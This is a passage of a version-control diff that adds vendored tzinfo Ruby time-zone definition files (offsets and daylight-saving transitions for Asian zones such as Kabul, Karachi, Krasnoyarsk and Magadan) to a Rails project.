+          tz.transition 2012, 9, :o2, 1348354800
+          tz.transition 2013, 3, :o3, 1364515200
+          tz.transition 2013, 9, :o2, 1378594800
+          tz.transition 2014, 3, :o3, 1395964800
+          tz.transition 2014, 9, :o2, 1411858800
+          tz.transition 2015, 3, :o3, 1427414400
+          tz.transition 2015, 9, :o2, 1442703600
+          tz.transition 2016, 4, :o3, 1459468800
+          tz.transition 2016, 10, :o2, 1475967600
+          tz.transition 2017, 3, :o3, 1490918400
+          tz.transition 2017, 9, :o2, 1506207600
+          tz.transition 2018, 3, :o3, 1522368000
+          tz.transition 2018, 9, :o2, 1537052400
+          tz.transition 2019, 3, :o3, 1553817600
+          tz.transition 2019, 10, :o2, 1570316400
+          tz.transition 2020, 3, :o3, 1585267200
+          tz.transition 2020, 9, :o2, 1601161200
+          tz.transition 2021, 3, :o3, 1616716800
+          tz.transition 2021, 9, :o2, 1631401200
+          tz.transition 2022, 4, :o3, 1648771200
+          tz.transition 2022, 10, :o2, 1664665200
+          tz.transition 2023, 3, :o3, 1680220800
+          tz.transition 2023, 9, :o2, 1695510000
+          tz.transition 2024, 3, :o3, 1711670400
+          tz.transition 2024, 10, :o2, 1728169200
+          tz.transition 2025, 3, :o3, 1743120000
+          tz.transition 2025, 9, :o2, 1759014000
+          tz.transition 2026, 3, :o3, 1774569600
+          tz.transition 2026, 9, :o2, 1789858800
+          tz.transition 2027, 3, :o3, 1806019200
+          tz.transition 2027, 10, :o2, 1823122800
+          tz.transition 2028, 3, :o3, 1838073600
+          tz.transition 2028, 9, :o2, 1853362800
+          tz.transition 2029, 3, :o3, 1869523200
+          tz.transition 2029, 9, :o2, 1884207600
+          tz.transition 2030, 3, :o3, 1900972800
+          tz.transition 2030, 10, :o2, 1917471600
+          tz.transition 2031, 3, :o3, 1932422400
+          tz.transition 2031, 9, :o2, 1947711600
+          tz.transition 2032, 3, :o3, 1963872000
+          tz.transition 2032, 9, :o2, 1978556400
+          tz.transition 2033, 4, :o3, 1995926400
+          tz.transition 2033, 10, :o2, 2011820400
+          tz.transition 2034, 3, :o3, 2027376000
+          tz.transition 2034, 9, :o2, 2042060400
+          tz.transition 2035, 3, :o3, 2058825600
+          tz.transition 2035, 10, :o2, 2075324400
+          tz.transition 2036, 3, :o3, 2090275200
+          tz.transition 2036, 9, :o2, 2106169200
+          tz.transition 2037, 3, :o3, 2121724800
+          tz.transition 2037, 9, :o2, 2136409200
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Kabul
+        include TimezoneDefinition
+        
+        timezone 'Asia/Kabul' do |tz|
+          tz.offset :o0, 16608, 0, :LMT
+          tz.offset :o1, 14400, 0, :AFT
+          tz.offset :o2, 16200, 0, :AFT
+          
+          tz.transition 1889, 12, :o1, 2170231477, 900
+          tz.transition 1944, 12, :o2, 7294369, 3
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,163 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Kamchatka
+        include TimezoneDefinition
+        
+        timezone 'Asia/Kamchatka' do |tz|
+          tz.offset :o0, 38076, 0, :LMT
+          tz.offset :o1, 39600, 0, :PETT
+          tz.offset :o2, 43200, 0, :PETT
+          tz.offset :o3, 43200, 3600, :PETST
+          tz.offset :o4, 39600, 3600, :PETST
+          
+          tz.transition 1922, 11, :o1, 17448250027, 7200
+          tz.transition 1930, 6, :o2, 58227553, 24
+          tz.transition 1981, 3, :o3, 354888000
+          tz.transition 1981, 9, :o2, 370695600
+          tz.transition 1982, 3, :o3, 386424000
+          tz.transition 1982, 9, :o2, 402231600
+          tz.transition 1983, 3, :o3, 417960000
+          tz.transition 1983, 9, :o2, 433767600
+          tz.transition 1984, 3, :o3, 449582400
+          tz.transition 1984, 9, :o2, 465314400
+          tz.transition 1985, 3, :o3, 481039200
+          tz.transition 1985, 9, :o2, 496764000
+          tz.transition 1986, 3, :o3, 512488800
+          tz.transition 1986, 9, :o2, 528213600
+          tz.transition 1987, 3, :o3, 543938400
+          tz.transition 1987, 9, :o2, 559663200
+          tz.transition 1988, 3, :o3, 575388000
+          tz.transition 1988, 9, :o2, 591112800
+          tz.transition 1989, 3, :o3, 606837600
+          tz.transition 1989, 9, :o2, 622562400
+          tz.transition 1990, 3, :o3, 638287200
+          tz.transition 1990, 9, :o2, 654616800
+          tz.transition 1991, 3, :o4, 670341600
+          tz.transition 1991, 9, :o1, 686070000
+          tz.transition 1992, 1, :o2, 695746800
+          tz.transition 1992, 3, :o3, 701780400
+          tz.transition 1992, 9, :o2, 717501600
+          tz.transition 1993, 3, :o3, 733240800
+          tz.transition 1993, 9, :o2, 748965600
+          tz.transition 1994, 3, :o3, 764690400
+          tz.transition 1994, 9, :o2, 780415200
+          tz.transition 1995, 3, :o3, 796140000
+          tz.transition 1995, 9, :o2, 811864800
+          tz.transition 1996, 3, :o3, 828194400
+          tz.transition 1996, 10, :o2, 846338400
+          tz.transition 1997, 3, :o3, 859644000
+          tz.transition 1997, 10, :o2, 877788000
+          tz.transition 1998, 3, :o3, 891093600
+          tz.transition 1998, 10, :o2, 909237600
+          tz.transition 1999, 3, :o3, 922543200
+          tz.transition 1999, 10, :o2, 941292000
+          tz.transition 2000, 3, :o3, 953992800
+          tz.transition 2000, 10, :o2, 972741600
+          tz.transition 2001, 3, :o3, 985442400
+          tz.transition 2001, 10, :o2, 1004191200
+          tz.transition 2002, 3, :o3, 1017496800
+          tz.transition 2002, 10, :o2, 1035640800
+          tz.transition 2003, 3, :o3, 1048946400
+          tz.transition 2003, 10, :o2, 1067090400
+          tz.transition 2004, 3, :o3, 1080396000
+          tz.transition 2004, 10, :o2, 1099144800
+          tz.transition 2005, 3, :o3, 1111845600
+          tz.transition 2005, 10, :o2, 1130594400
+          tz.transition 2006, 3, :o3, 1143295200
+          tz.transition 2006, 10, :o2, 1162044000
+          tz.transition 2007, 3, :o3, 1174744800
+          tz.transition 2007, 10, :o2, 1193493600
+          tz.transition 2008, 3, :o3, 1206799200
+          tz.transition 2008, 10, :o2, 1224943200
+          tz.transition 2009, 3, :o3, 1238248800
+          tz.transition 2009, 10, :o2, 1256392800
+          tz.transition 2010, 3, :o3, 1269698400
+          tz.transition 2010, 10, :o2, 1288447200
+          tz.transition 2011, 3, :o3, 1301148000
+          tz.transition 2011, 10, :o2, 1319896800
+          tz.transition 2012, 3, :o3, 1332597600
+          tz.transition 2012, 10, :o2, 1351346400
+          tz.transition 2013, 3, :o3, 1364652000
+          tz.transition 2013, 10, :o2, 1382796000
+          tz.transition 2014, 3, :o3, 1396101600
+          tz.transition 2014, 10, :o2, 1414245600
+          tz.transition 2015, 3, :o3, 1427551200
+          tz.transition 2015, 10, :o2, 1445695200
+          tz.transition 2016, 3, :o3, 1459000800
+          tz.transition 2016, 10, :o2, 1477749600
+          tz.transition 2017, 3, :o3, 1490450400
+          tz.transition 2017, 10, :o2, 1509199200
+          tz.transition 2018, 3, :o3, 1521900000
+          tz.transition 2018, 10, :o2, 1540648800
+          tz.transition 2019, 3, :o3, 1553954400
+          tz.transition 2019, 10, :o2, 1572098400
+          tz.transition 2020, 3, :o3, 1585404000
+          tz.transition 2020, 10, :o2, 1603548000
+          tz.transition 2021, 3, :o3, 1616853600
+          tz.transition 2021, 10, :o2, 1635602400
+          tz.transition 2022, 3, :o3, 1648303200
+          tz.transition 2022, 10, :o2, 1667052000
+          tz.transition 2023, 3, :o3, 1679752800
+          tz.transition 2023, 10, :o2, 1698501600
+          tz.transition 2024, 3, :o3, 1711807200
+          tz.transition 2024, 10, :o2, 1729951200
+          tz.transition 2025, 3, :o3, 1743256800
+          tz.transition 2025, 10, :o2, 1761400800
+          tz.transition 2026, 3, :o3, 1774706400
+          tz.transition 2026, 10, :o2, 1792850400
+          tz.transition 2027, 3, :o3, 1806156000
+          tz.transition 2027, 10, :o2, 1824904800
+          tz.transition 2028, 3, :o3, 1837605600
+          tz.transition 2028, 10, :o2, 1856354400
+          tz.transition 2029, 3, :o3, 1869055200
+          tz.transition 2029, 10, :o2, 1887804000
+          tz.transition 2030, 3, :o3, 1901109600
+          tz.transition 2030, 10, :o2, 1919253600
+          tz.transition 2031, 3, :o3, 1932559200
+          tz.transition 2031, 10, :o2, 1950703200
+          tz.transition 2032, 3, :o3, 1964008800
+          tz.transition 2032, 10, :o2, 1982757600
+          tz.transition 2033, 3, :o3, 1995458400
+          tz.transition 2033, 10, :o2, 2014207200
+          tz.transition 2034, 3, :o3, 2026908000
+          tz.transition 2034, 10, :o2, 2045656800
+          tz.transition 2035, 3, :o3, 2058357600
+          tz.transition 2035, 10, :o2, 2077106400
+          tz.transition 2036, 3, :o3, 2090412000
+          tz.transition 2036, 10, :o2, 2108556000
+          tz.transition 2037, 3, :o3, 2121861600
+          tz.transition 2037, 10, :o2, 2140005600
+          tz.transition 2038, 3, :o3, 29586121, 12
+          tz.transition 2038, 10, :o2, 29588725, 12
+          tz.transition 2039, 3, :o3, 29590489, 12
+          tz.transition 2039, 10, :o2, 29593093, 12
+          tz.transition 2040, 3, :o3, 29594857, 12
+          tz.transition 2040, 10, :o2, 29597461, 12
+          tz.transition 2041, 3, :o3, 29599309, 12
+          tz.transition 2041, 10, :o2, 29601829, 12
+          tz.transition 2042, 3, :o3, 29603677, 12
+          tz.transition 2042, 10, :o2, 29606197, 12
+          tz.transition 2043, 3, :o3, 29608045, 12
+          tz.transition 2043, 10, :o2, 29610565, 12
+          tz.transition 2044, 3, :o3, 29612413, 12
+          tz.transition 2044, 10, :o2, 29615017, 12
+          tz.transition 2045, 3, :o3, 29616781, 12
+          tz.transition 2045, 10, :o2, 29619385, 12
+          tz.transition 2046, 3, :o3, 29621149, 12
+          tz.transition 2046, 10, :o2, 29623753, 12
+          tz.transition 2047, 3, :o3, 29625601, 12
+          tz.transition 2047, 10, :o2, 29628121, 12
+          tz.transition 2048, 3, :o3, 29629969, 12
+          tz.transition 2048, 10, :o2, 29632489, 12
+          tz.transition 2049, 3, :o3, 29634337, 12
+          tz.transition 2049, 10, :o2, 29636941, 12
+          tz.transition 2050, 3, :o3, 29638705, 12
+          tz.transition 2050, 10, :o2, 29641309, 12
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Karachi
+        include TimezoneDefinition
+        
+        timezone 'Asia/Karachi' do |tz|
+          tz.offset :o0, 16092, 0, :LMT
+          tz.offset :o1, 19800, 0, :IST
+          tz.offset :o2, 19800, 3600, :IST
+          tz.offset :o3, 18000, 0, :KART
+          tz.offset :o4, 18000, 0, :PKT
+          tz.offset :o5, 18000, 3600, :PKST
+          
+          tz.transition 1906, 12, :o1, 1934061051, 800
+          tz.transition 1942, 8, :o2, 116668957, 48
+          tz.transition 1945, 10, :o1, 116723675, 48
+          tz.transition 1951, 9, :o3, 116828125, 48
+          tz.transition 1971, 3, :o4, 38775600
+          tz.transition 2002, 4, :o5, 1018119660
+          tz.transition 2002, 10, :o4, 1033840860
+          tz.transition 2008, 5, :o5, 1212260400
+          tz.transition 2008, 10, :o4, 1225476000
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Katmandu
+        include TimezoneDefinition
+        
+        timezone 'Asia/Katmandu' do |tz|
+          tz.offset :o0, 20476, 0, :LMT
+          tz.offset :o1, 19800, 0, :IST
+          tz.offset :o2, 20700, 0, :NPT
+          
+          tz.transition 1919, 12, :o1, 52322204081, 21600
+          tz.transition 1985, 12, :o2, 504901800
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Kolkata
+        include TimezoneDefinition
+        
+        timezone 'Asia/Kolkata' do |tz|
+          tz.offset :o0, 21208, 0, :LMT
+          tz.offset :o1, 21200, 0, :HMT
+          tz.offset :o2, 23400, 0, :BURT
+          tz.offset :o3, 19800, 0, :IST
+          tz.offset :o4, 19800, 3600, :IST
+          
+          tz.transition 1879, 12, :o1, 26003324749, 10800
+          tz.transition 1941, 9, :o2, 524937943, 216
+          tz.transition 1942, 5, :o3, 116663723, 48
+          tz.transition 1942, 8, :o4, 116668957, 48
+          tz.transition 1945, 10, :o3, 116723675, 48
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,163 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Krasnoyarsk
+        include TimezoneDefinition
+        
+        timezone 'Asia/Krasnoyarsk' do |tz|
+          tz.offset :o0, 22280, 0, :LMT
+          tz.offset :o1, 21600, 0, :KRAT
+          tz.offset :o2, 25200, 0, :KRAT
+          tz.offset :o3, 25200, 3600, :KRAST
+          tz.offset :o4, 21600, 3600, :KRAST
+          
+          tz.transition 1920, 1, :o1, 5232231163, 2160
+          tz.transition 1930, 6, :o2, 9704593, 4
+          tz.transition 1981, 3, :o3, 354906000
+          tz.transition 1981, 9, :o2, 370713600
+          tz.transition 1982, 3, :o3, 386442000
+          tz.transition 1982, 9, :o2, 402249600
+          tz.transition 1983, 3, :o3, 417978000
+          tz.transition 1983, 9, :o2, 433785600
+          tz.transition 1984, 3, :o3, 449600400
+          tz.transition 1984, 9, :o2, 465332400
+          tz.transition 1985, 3, :o3, 481057200
+          tz.transition 1985, 9, :o2, 496782000
+          tz.transition 1986, 3, :o3, 512506800
+          tz.transition 1986, 9, :o2, 528231600
+          tz.transition 1987, 3, :o3, 543956400
+          tz.transition 1987, 9, :o2, 559681200
+          tz.transition 1988, 3, :o3, 575406000
+          tz.transition 1988, 9, :o2, 591130800
+          tz.transition 1989, 3, :o3, 606855600
+          tz.transition 1989, 9, :o2, 622580400
+          tz.transition 1990, 3, :o3, 638305200
+          tz.transition 1990, 9, :o2, 654634800
+          tz.transition 1991, 3, :o4, 670359600
+          tz.transition 1991, 9, :o1, 686088000
+          tz.transition 1992, 1, :o2, 695764800
+          tz.transition 1992, 3, :o3, 701798400
+          tz.transition 1992, 9, :o2, 717519600
+          tz.transition 1993, 3, :o3, 733258800
+          tz.transition 1993, 9, :o2, 748983600
+          tz.transition 1994, 3, :o3, 764708400
+          tz.transition 1994, 9, :o2, 780433200
+          tz.transition 1995, 3, :o3, 796158000
+          tz.transition 1995, 9, :o2, 811882800
+          tz.transition 1996, 3, :o3, 828212400
+          tz.transition 1996, 10, :o2, 846356400
+          tz.transition 1997, 3, :o3, 859662000
+          tz.transition 1997, 10, :o2, 877806000
+          tz.transition 1998, 3, :o3, 891111600
+          tz.transition 1998, 10, :o2, 909255600
+          tz.transition 1999, 3, :o3, 922561200
+          tz.transition 1999, 10, :o2, 941310000
+          tz.transition 2000, 3, :o3, 954010800
+          tz.transition 2000, 10, :o2, 972759600
+          tz.transition 2001, 3, :o3, 985460400
+          tz.transition 2001, 10, :o2, 1004209200
+          tz.transition 2002, 3, :o3, 1017514800
+          tz.transition 2002, 10, :o2, 1035658800
+          tz.transition 2003, 3, :o3, 1048964400
+          tz.transition 2003, 10, :o2, 1067108400
+          tz.transition 2004, 3, :o3, 1080414000
+          tz.transition 2004, 10, :o2, 1099162800
+          tz.transition 2005, 3, :o3, 1111863600
+          tz.transition 2005, 10, :o2, 1130612400
+          tz.transition 2006, 3, :o3, 1143313200
+          tz.transition 2006, 10, :o2, 1162062000
+          tz.transition 2007, 3, :o3, 1174762800
+          tz.transition 2007, 10, :o2, 1193511600
+          tz.transition 2008, 3, :o3, 1206817200
+          tz.transition 2008, 10, :o2, 1224961200
+          tz.transition 2009, 3, :o3, 1238266800
+          tz.transition 2009, 10, :o2, 1256410800
+          tz.transition 2010, 3, :o3, 1269716400
+          tz.transition 2010, 10, :o2, 1288465200
+          tz.transition 2011, 3, :o3, 1301166000
+          tz.transition 2011, 10, :o2, 1319914800
+          tz.transition 2012, 3, :o3, 1332615600
+          tz.transition 2012, 10, :o2, 1351364400
+          tz.transition 2013, 3, :o3, 1364670000
+          tz.transition 2013, 10, :o2, 1382814000
+          tz.transition 2014, 3, :o3, 1396119600
+          tz.transition 2014, 10, :o2, 1414263600
+          tz.transition 2015, 3, :o3, 1427569200
+          tz.transition 2015, 10, :o2, 1445713200
+          tz.transition 2016, 3, :o3, 1459018800
+          tz.transition 2016, 10, :o2, 1477767600
+          tz.transition 2017, 3, :o3, 1490468400
+          tz.transition 2017, 10, :o2, 1509217200
+          tz.transition 2018, 3, :o3, 1521918000
+          tz.transition 2018, 10, :o2, 1540666800
+          tz.transition 2019, 3, :o3, 1553972400
+          tz.transition 2019, 10, :o2, 1572116400
+          tz.transition 2020, 3, :o3, 1585422000
+          tz.transition 2020, 10, :o2, 1603566000
+          tz.transition 2021, 3, :o3, 1616871600
+          tz.transition 2021, 10, :o2, 1635620400
+          tz.transition 2022, 3, :o3, 1648321200
+          tz.transition 2022, 10, :o2, 1667070000
+          tz.transition 2023, 3, :o3, 1679770800
+          tz.transition 2023, 10, :o2, 1698519600
+          tz.transition 2024, 3, :o3, 1711825200
+          tz.transition 2024, 10, :o2, 1729969200
+          tz.transition 2025, 3, :o3, 1743274800
+          tz.transition 2025, 10, :o2, 1761418800
+          tz.transition 2026, 3, :o3, 1774724400
+          tz.transition 2026, 10, :o2, 1792868400
+          tz.transition 2027, 3, :o3, 1806174000
+          tz.transition 2027, 10, :o2, 1824922800
+          tz.transition 2028, 3, :o3, 1837623600
+          tz.transition 2028, 10, :o2, 1856372400
+          tz.transition 2029, 3, :o3, 1869073200
+          tz.transition 2029, 10, :o2, 1887822000
+          tz.transition 2030, 3, :o3, 1901127600
+          tz.transition 2030, 10, :o2, 1919271600
+          tz.transition 2031, 3, :o3, 1932577200
+          tz.transition 2031, 10, :o2, 1950721200
+          tz.transition 2032, 3, :o3, 1964026800
+          tz.transition 2032, 10, :o2, 1982775600
+          tz.transition 2033, 3, :o3, 1995476400
+          tz.transition 2033, 10, :o2, 2014225200
+          tz.transition 2034, 3, :o3, 2026926000
+          tz.transition 2034, 10, :o2, 2045674800
+          tz.transition 2035, 3, :o3, 2058375600
+          tz.transition 2035, 10, :o2, 2077124400
+          tz.transition 2036, 3, :o3, 2090430000
+          tz.transition 2036, 10, :o2, 2108574000
+          tz.transition 2037, 3, :o3, 2121879600
+          tz.transition 2037, 10, :o2, 2140023600
+          tz.transition 2038, 3, :o3, 59172247, 24
+          tz.transition 2038, 10, :o2, 59177455, 24
+          tz.transition 2039, 3, :o3, 59180983, 24
+          tz.transition 2039, 10, :o2, 59186191, 24
+          tz.transition 2040, 3, :o3, 59189719, 24
+          tz.transition 2040, 10, :o2, 59194927, 24
+          tz.transition 2041, 3, :o3, 59198623, 24
+          tz.transition 2041, 10, :o2, 59203663, 24
+          tz.transition 2042, 3, :o3, 59207359, 24
+          tz.transition 2042, 10, :o2, 59212399, 24
+          tz.transition 2043, 3, :o3, 59216095, 24
+          tz.transition 2043, 10, :o2, 59221135, 24
+          tz.transition 2044, 3, :o3, 59224831, 24
+          tz.transition 2044, 10, :o2, 59230039, 24
+          tz.transition 2045, 3, :o3, 59233567, 24
+          tz.transition 2045, 10, :o2, 59238775, 24
+          tz.transition 2046, 3, :o3, 59242303, 24
+          tz.transition 2046, 10, :o2, 59247511, 24
+          tz.transition 2047, 3, :o3, 59251207, 24
+          tz.transition 2047, 10, :o2, 59256247, 24
+          tz.transition 2048, 3, :o3, 59259943, 24
+          tz.transition 2048, 10, :o2, 59264983, 24
+          tz.transition 2049, 3, :o3, 59268679, 24
+          tz.transition 2049, 10, :o2, 59273887, 24
+          tz.transition 2050, 3, :o3, 59277415, 24
+          tz.transition 2050, 10, :o2, 59282623, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,31 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Kuala_Lumpur
+        include TimezoneDefinition
+        
+        timezone 'Asia/Kuala_Lumpur' do |tz|
+          tz.offset :o0, 24406, 0, :LMT
+          tz.offset :o1, 24925, 0, :SMT
+          tz.offset :o2, 25200, 0, :MALT
+          tz.offset :o3, 25200, 1200, :MALST
+          tz.offset :o4, 26400, 0, :MALT
+          tz.offset :o5, 27000, 0, :MALT
+          tz.offset :o6, 32400, 0, :JST
+          tz.offset :o7, 28800, 0, :MYT
+          
+          tz.transition 1900, 12, :o1, 104344641397, 43200
+          tz.transition 1905, 5, :o2, 8353142363, 3456
+          tz.transition 1932, 12, :o3, 58249757, 24
+          tz.transition 1935, 12, :o4, 87414055, 36
+          tz.transition 1941, 8, :o5, 87488575, 36
+          tz.transition 1942, 2, :o6, 38886499, 16
+          tz.transition 1945, 9, :o5, 19453681, 8
+          tz.transition 1981, 12, :o7, 378664200
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Kuwait
+        include TimezoneDefinition
+        
+        timezone 'Asia/Kuwait' do |tz|
+          tz.offset :o0, 11516, 0, :LMT
+          tz.offset :o1, 10800, 0, :AST
+          
+          tz.transition 1949, 12, :o1, 52558899121, 21600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,163 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Magadan
+        include TimezoneDefinition
+        
+        timezone 'Asia/Magadan' do |tz|
+          tz.offset :o0, 36192, 0, :LMT
+          tz.offset :o1, 36000, 0, :MAGT
+          tz.offset :o2, 39600, 0, :MAGT
+          tz.offset :o3, 39600, 3600, :MAGST
+          tz.offset :o4, 36000, 3600, :MAGST
+          
+          tz.transition 1924, 5, :o1, 2181516373, 900
+          tz.transition 1930, 6, :o2, 29113777, 12
+          tz.transition 1981, 3, :o3, 354891600
+          tz.transition 1981, 9, :o2, 370699200
+          tz.transition 1982, 3, :o3, 386427600
+          tz.transition 1982, 9, :o2, 402235200
+          tz.transition 1983, 3, :o3, 417963600
+          tz.transition 1983, 9, :o2, 433771200
+          tz.transition 1984, 3, :o3, 449586000
+          tz.transition 1984, 9, :o2, 465318000
+          tz.transition 1985, 3, :o3, 481042800
+          tz.transition 1985, 9, :o2, 496767600
+          tz.transition 1986, 3, :o3, 512492400
+          tz.transition 1986, 9, :o2, 528217200
+          tz.transition 1987, 3, :o3, 543942000
+          tz.transition 1987, 9, :o2, 559666800
+          tz.transition 1988, 3, :o3, 575391600
+          tz.transition 1988, 9, :o2, 591116400
+          tz.transition 1989, 3, :o3, 606841200
+          tz.transition 1989, 9, :o2, 622566000
+          tz.transition 1990, 3, :o3, 638290800
+          tz.transition 1990, 9, :o2, 654620400
+          tz.transition 1991, 3, :o4, 670345200
+          tz.transition 1991, 9, :o1, 686073600
+          tz.transition 1992, 1, :o2, 695750400
+          tz.transition 1992, 3, :o3, 701784000
+          tz.transition 1992, 9, :o2, 717505200
+          tz.transition 1993, 3, :o3, 733244400
+          tz.transition 1993, 9, :o2, 748969200
+          tz.transition 1994, 3, :o3, 764694000
+          tz.transition 1994, 9, :o2, 780418800
+          tz.transition 1995, 3, :o3, 796143600
+          tz.transition 1995, 9, :o2, 811868400
+          tz.transition 1996, 3, :o3, 828198000
+          tz.transition 1996, 10, :o2, 846342000
+          tz.transition 1997, 3, :o3, 859647600
+          tz.transition 1997, 10, :o2, 877791600
+          tz.transition 1998, 3, :o3, 891097200
+          tz.transition 1998, 10, :o2, 909241200
+          tz.transition 1999, 3, :o3, 922546800
+          tz.transition 1999, 10, :o2, 941295600
+          tz.transition 2000, 3, :o3, 953996400
+          tz.transition 2000, 10, :o2, 972745200
+          tz.transition 2001, 3, :o3, 985446000
+          tz.transition 2001, 10, :o2, 1004194800
+          tz.transition 2002, 3, :o3, 1017500400
+          tz.transition 2002, 10, :o2, 1035644400
+          tz.transition 2003, 3, :o3, 1048950000
+          tz.transition 2003, 10, :o2, 1067094000
+          tz.transition 2004, 3, :o3, 1080399600
+          tz.transition 2004, 10, :o2, 1099148400
+          tz.transition 2005, 3, :o3, 1111849200
+          tz.transition 2005, 10, :o2, 1130598000
